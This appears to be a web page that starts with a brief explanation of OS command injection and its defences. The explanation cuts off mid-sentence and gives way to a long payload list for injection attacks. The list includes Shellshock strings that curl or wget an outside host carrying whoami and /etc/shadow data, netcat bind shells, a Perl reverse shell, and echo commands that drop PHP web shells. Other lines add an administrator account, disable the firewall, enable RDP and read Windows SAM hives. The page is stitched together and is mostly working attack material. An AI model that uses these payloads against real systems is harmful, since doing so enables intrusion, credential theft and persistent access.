Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Command Injection, the attacker extends the default functionality of the application, which execute system commands, without the necessity of injecting code.
OS command Injection is a critical vulnerability that allows attackers to gain complete control over an affected web site and the underlying web server.
OS command injection vulnerabilities arise when an application incorporates user data into an operating system command that it executes. An attacker can manipulate the data to cause their own commands to run. This allows the attacker to carry out any action that the application itself can carry out, including reading or modifying all of its data and performing privileged actions.
In addition to total compromise of the web server itself, an attacker can leverage a command injection vulnerability to pivot the attack in the organization's internal infrastructure, potentially accessing any system which the web server can access. They may also be able to create a persistent foothold within the organization, continuing to access compromised systems even after the original vulnerability has been fixed.
Operating system command injection vulnerabilities arise when an application incorporates user-controllable data into a command that is processed by a shell command interpreter. If the user data is not strictly validated, an attacker can use shell metacharacters to modify the command that is executed, and inject arbitrary further commands that will be executed by the server.
OS command injection vulnerabilities are usually very serious and may lead to compromise of the server hosting the application, or of the application's own data and functionality. It may also be possible to use the server as a platform for attacks against other systems. The exact potential for exploitation depends upon the security context in which the command is executed, and the privileges that this context has regarding sensitive resources on the server.
If possible, applications should avoid incorporating user-controllable data into operating system commands. In almost every situation, there are safer alternative methods of performing server-level tasks, which cannot be manipulated to perform additional commands than the one intended.
If it is considered unavoidable to incorporate user-supplied data into operating system commands, the following two layers of defense should be used to prevent attacks:
-
The user data should be strictly validated. Ideally, a whitelist of specific accepted values should be used. Otherwise, only short alphanumeric strings should be accepted. Input containing any other data, including any conceivable shell metacharacter or whitespace, should be rejected.
-
The application should use command APIs that launch a specific process via its name and command-line parameters, rather than passing a command string to a shell interpreter that supports command chaining and redirection. For example, the Java API Runtime.exec and the ASP.NET API Process.Start do not support shell metacharacters. This defense can mitigate
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
\n/bin/ls -al\n
\n/usr/bin/id\n
\nid\n
\n/usr/bin/id;
\nid;
\n/usr/bin/id|
\nid|
;/usr/bin/id\n
;id\n
|usr/bin/id\n
|nid\n
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>
`
||
|
;
'
'"
"
"'
&
&&
%0a
%0a%0d
%0Aid
%0a id %0a
%0Aid%0A
%0a ping -i 30 127.0.0.1 %0a
%0A/usr/bin/id
%0A/usr/bin/id%0A
%2 -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\" |ping -n 21 127.0.0.1
%20{${phpinfo()}}
%20{${sleep(20)}}
%20{${sleep(3)}}
a|id|
a;id|
a;id;
a;id\n
() { :;}; curl http://135.23.158.130/.testing/shellshock.txt?vuln=12
| curl http://crowdshield.com/.testing/rce.txt
& curl http://crowdshield.com/.testing/rce.txt
; curl https://crowdshield.com/.testing/rce_vuln.txt
&& curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
curl https://crowdshield.com/.testing/rce_vuln.txt ||`curl https://crowdshield.com/.testing/rce_vuln.txt` #' |curl https://crowdshield.com/.testing/rce_vuln.txt||`curl https://crowdshield.com/.testing/rce_vuln.txt` #\" |curl https://crowdshield.com/.testing/rce_vuln.txt
$(`curl https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
dir
| dir
; dir
$(`dir`)
& dir
&&dir
&& dir
| dir C:\
; dir C:\
& dir C:\
&& dir C:\
dir C:\
| dir C:\Documents and Settings\*
; dir C:\Documents and Settings\*
& dir C:\Documents and Settings\*
&& dir C:\Documents and Settings\*
dir C:\Documents and Settings\*
| dir C:\Users
; dir C:\Users
& dir C:\Users
&& dir C:\Users
dir C:\Users
;echo%20'<script>alert(1)</script>'
echo '<img src=https://crowdshield.com/.testing/xss.js onload=prompt(2) onerror=alert(3)></img>'// XXXXXXXXXXX
| echo "<?php include($_GET['page'])| ?>" > rfi.php
; echo "<?php include($_GET['page']); ?>" > rfi.php
& echo "<?php include($_GET['page']); ?>" > rfi.php
&& echo "<?php include($_GET['page']); ?>" > rfi.php
echo "<?php include($_GET['page']); ?>" > rfi.php
| echo "<?php system('dir $_GET['dir']')| ?>" > dir.php
; echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
&& echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
echo "<?php system('dir $_GET['dir']'); ?>" > dir.php
| echo "<?php system($_GET['cmd'])| ?>" > cmd.php
; echo "<?php system($_GET['cmd']); ?>" > cmd.php
& echo "<?php system($_GET['cmd']); ?>" > cmd.php
&& echo "<?php system($_GET['cmd']); ?>" > cmd.php
echo "<?php system($_GET['cmd']); ?>" > cmd.php
;echo '<script>alert(1)</script>'
echo '<script>alert(1)</script>'// XXXXXXXXXXX
echo '<script src=https://crowdshield.com/.testing/xss.js></script>'// XXXXXXXXXXX
| echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
; echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">;S");open(STDOUT,">;S");open(STDERR,">;S");exec("/bin/sh -i");};" > rev.pl
& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
&& echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
echo "use Socket;$i="192.168.16.151";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};" > rev.pl
() { :;}; echo vulnerable 10
eval('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
eval('ls')
eval('pwd')
eval('pwd');
eval('sleep 5')
eval('sleep 5');
eval('whoami')
eval('whoami');
exec('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
exec('ls')
exec('pwd')
exec('pwd');
exec('sleep 5')
exec('sleep 5');
exec('whoami')
exec('whoami');
;{$_GET["cmd"]}
`id`
|id
| id
;id
;id|
;id;
& id
&&id
;id\n
ifconfig
| ifconfig
; ifconfig
& ifconfig
&& ifconfig
/index.html|id|
ipconfig
| ipconfig /all
; ipconfig /all
& ipconfig /all
&& ipconfig /all
ipconfig /all
ls
$(`ls`)
| ls -l /
; ls -l /
& ls -l /
&& ls -l /
ls -l /
| ls -laR /etc
; ls -laR /etc
& ls -laR /etc
&& ls -laR /etc
| ls -laR /var/www
; ls -laR /var/www
& ls -laR /var/www
&& ls -laR /var/www
| ls -l /etc/
; ls -l /etc/
& ls -l /etc/
&& ls -l /etc/
ls -l /etc/
ls -lh /etc/
| ls -l /home/*
; ls -l /home/*
& ls -l /home/*
&& ls -l /home/*
ls -l /home/*
*; ls -lhtR /var/www/
| ls -l /tmp
; ls -l /tmp
& ls -l /tmp
&& ls -l /tmp
ls -l /tmp
| ls -l /var/www/*
; ls -l /var/www/*
& ls -l /var/www/*
&& ls -l /var/www/*
ls -l /var/www/*
\n
\n\033[2curl http://135.23.158.130/.testing/term_escape.txt?vuln=1?user=\`whoami\`
\n\033[2wget http://135.23.158.130/.testing/term_escape.txt?vuln=2?user=\`whoami\`
\n/bin/ls -al\n
| nc -lvvp 4444 -e /bin/sh|
; nc -lvvp 4444 -e /bin/sh;
& nc -lvvp 4444 -e /bin/sh&
&& nc -lvvp 4444 -e /bin/sh &
nc -lvvp 4444 -e /bin/sh
nc -lvvp 4445 -e /bin/sh &
nc -lvvp 4446 -e /bin/sh|
nc -lvvp 4447 -e /bin/sh;
nc -lvvp 4448 -e /bin/sh&
\necho INJECTX\nexit\n\033[2Acurl https://crowdshield.com/.testing/rce_vuln.txt\n
\necho INJECTX\nexit\n\033[2Asleep 5\n
\necho INJECTX\nexit\n\033[2Awget https://crowdshield.com/.testing/rce_vuln.txt\n
| net localgroup Administrators hacker /ADD
; net localgroup Administrators hacker /ADD
& net localgroup Administrators hacker /ADD
&& net localgroup Administrators hacker /ADD
net localgroup Administrators hacker /ADD
| netsh firewall set opmode disable
; netsh firewall set opmode disable
& netsh firewall set opmode disable
&& netsh firewall set opmode disable
netsh firewall set opmode disable
netstat
;netstat -a;
| netstat -an
; netstat -an
& netstat -an
&& netstat -an
netstat -an
| net user hacker Password1 /ADD
; net user hacker Password1 /ADD
& net user hacker Password1 /ADD
&& net user hacker Password1 /ADD
net user hacker Password1 /ADD
| net view
; net view
& net view
&& net view
net view
\nid|
\nid;
\nid\n
\n/usr/bin/id\n
perl -e 'print "X"x1024'
|| perl -e 'print "X"x16096'
| perl -e 'print "X"x16096'
; perl -e 'print "X"x16096'
& perl -e 'print "X"x16096'
&& perl -e 'print "X"x16096'
perl -e 'print "X"x16384'
; perl -e 'print "X"x2048'
& perl -e 'print "X"x2048'
&& perl -e 'print "X"x2048'
perl -e 'print "X"x2048'
|| perl -e 'print "X"x4096'
| perl -e 'print "X"x4096'
; perl -e 'print "X"x4096'
& perl -e 'print "X"x4096'
&& perl -e 'print "X"x4096'
perl -e 'print "X"x4096'
|| perl -e 'print "X"x8096'
| perl -e 'print "X"x8096'
; perl -e 'print "X"x8096'
&& perl -e 'print "X"x8096'
perl -e 'print "X"x8192'
perl -e 'print "X"x81920'
|| phpinfo()
| phpinfo()
{${phpinfo()}}
;phpinfo()
;phpinfo();//
';phpinfo();//
{${phpinfo()}}
& phpinfo()
&& phpinfo()
phpinfo()
phpinfo();
<?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
<?php system("curl https://crowdshield.com/.testing/rce_vuln.txt?req=df2fkjj");?>
<?php system("echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");?>
<?php system("sleep 10");?>
<?php system("sleep 5");?>
<?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?method=phpsystem_get");?>
<?php system("wget https://crowdshield.com/.testing/rce_vuln.txt?req=jdfj2jc");?>
:phpversion();
`ping 127.0.0.1`
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
;${@print(md5(RCEVulnerable))};
${@print("RCEVulnerable")}
${@print(system($_SERVER['HTTP_USER_AGENT']))}
pwd
| pwd
; pwd
& pwd
&& pwd
\r
| reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
; reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
&& reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
\r\n
route
| sleep 1
; sleep 1
& sleep 1
&& sleep 1
sleep 1
|| sleep 10
| sleep 10
; sleep 10
{${sleep(10)}}
& sleep 10
&& sleep 10
sleep 10
|| sleep 15
| sleep 15
; sleep 15
& sleep 15
&& sleep 15
{${sleep(20)}}
{${sleep(20)}}
{${sleep(3)}}
{${sleep(3)}}
| sleep 5
; sleep 5
& sleep 5
&& sleep 5
sleep 5
{${sleep(hexdec(dechex(20)))}}
{${sleep(hexdec(dechex(20)))}}
sysinfo
| sysinfo
; sysinfo
& sysinfo
&& sysinfo
system('cat C:\boot.ini');
system('cat config.php');
|| system('curl https://crowdshield.com/.testing/rce_vuln.txt');
| system('curl https://crowdshield.com/.testing/rce_vuln.txt');
; system('curl https://crowdshield.com/.testing/rce_vuln.txt');
& system('curl https://crowdshield.com/.testing/rce_vuln.txt');
&& system('curl https://crowdshield.com/.testing/rce_vuln.txt');
system('curl https://crowdshield.com/.testing/rce_vuln.txt')
system('curl https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2wdf')
system('curl https://xerosecurity.com/.testing/rce_vuln.txt');
system('echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
systeminfo
| systeminfo
; systeminfo
& systeminfo
&& systeminfo
system('ls')
system('pwd')
system('pwd');
|| system('sleep 5');
| system('sleep 5');
; system('sleep 5');
& system('sleep 5');
&& system('sleep 5');
system('sleep 5')
system('sleep 5');
system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')
system('wget https://xerosecurity.com/.testing/rce_vuln.txt');
system('whoami')
system('whoami');
test*; ls -lhtR /var/www/
test* || perl -e 'print "X"x16096'
test* | perl -e 'print "X"x16096'
test* & perl -e 'print "X"x16096'
test* && perl -e 'print "X"x16096'
test*; perl -e 'print "X"x16096'
$(`type C:\boot.ini`)
&&type C:\\boot.ini
| type C:\Windows\repair\SAM
; type C:\Windows\repair\SAM
& type C:\Windows\repair\SAM
&& type C:\Windows\repair\SAM
type C:\Windows\repair\SAM
| type C:\Windows\repair\SYSTEM
; type C:\Windows\repair\SYSTEM
& type C:\Windows\repair\SYSTEM
&& type C:\Windows\repair\SYSTEM
type C:\Windows\repair\SYSTEM
| type C:\WINNT\repair\SAM
; type C:\WINNT\repair\SAM
& type C:\WINNT\repair\SAM
